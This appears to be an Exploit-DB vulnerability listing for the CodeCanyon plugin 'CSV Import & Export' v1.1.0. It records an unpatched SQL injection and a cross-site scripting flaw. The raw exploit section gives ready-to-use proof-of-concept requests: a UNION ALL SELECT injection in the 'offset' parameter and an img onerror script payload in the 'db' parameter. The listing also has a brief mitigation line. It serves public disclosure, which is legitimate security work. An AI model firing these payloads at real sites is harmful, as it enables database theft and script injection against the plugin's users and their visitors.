CSV Import & Export v1.1.0 - SQL Injection / Cross-Site Scripting

vendor:

CSV Import & Export

by:

Kağan Çapar

7.5

CVSS

HIGH

SQL Injection & Cross-Site Scripting

89, 79

CWE

Product Name: CSV Import & Export

Affected Version From: 1.1.0

Affected Version To: 1.1.0

Patch Exists: NO

Related CWE: N/A

CPE: a:codecanyon:csv_import_export:1.1.0

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Kali Linux

2018

CSV Import & Export v1.1.0 – SQL Injection / Cross-Site Scripting

The 'offset' and 'db' parameters in the database table preview query has vulnerabilities. An attacker can exploit this vulnerability by sending a malicious payload to the 'offset' and 'db' parameters. The payload can be a UNION query or a Cross-Site Scripting payload.

Mitigation:

Input validation should be done on the 'offset' and 'db' parameters to prevent malicious payloads from being executed.

Source

Exploit-DB raw data:

# Exploit Title: CSV Import & Export v1.1.0 - SQL Injection / Cross-Site
Scripting
# Dork: N/A
# Date: 30.05.2018
# Exploit Author: Kağan Çapar
# Contact: kagancapar@gmail.com
# Vendor Homepage: https://codecanyon.net/item/csv-import-export/21105509
# Version: 1.1.0
# Category: Webapps
# Tested on: Kali Linux
# Description : The 'offset' and 'db' parameters in the database table
preview query has vulnerabilities.
====================================================
# PoC : SQLi :

Parameter: offset (GET)
    Type: UNION query
    Demo:
https://site.com/live-preview/live-preview-db-tables.php?action=export_getInput&db=car-shop@localhost:3306&table=clients&order=asc&offset=30&limit=10
    Title: Generic UNION query (NULL) - 10 columns
    Payload: action=export_getInput&db=car-shop@localhost:3306&table=clients&order=asc&offset=30
UNION ALL SELECT
NULL,NULL,NULL,CONCAT(0x7178707671,0x78564b6846794858636354787350514d467a4863704d7a50735068495a6f7a5552625046616d6273,0x71786b7171),NULL,NULL,NULL,NULL,NULL,NULL--
STgb&limit=10


====================================================
# PoC : XSS :

Payload =
https://site.com/live-preview/live-preview-db-tables.php?action=export_getInput&db=%3E%27%3E%22%3E%3Cimg%20src=x%20onerror=alert%280%29%3E&table=clients&order=asc&offset=30&limit=10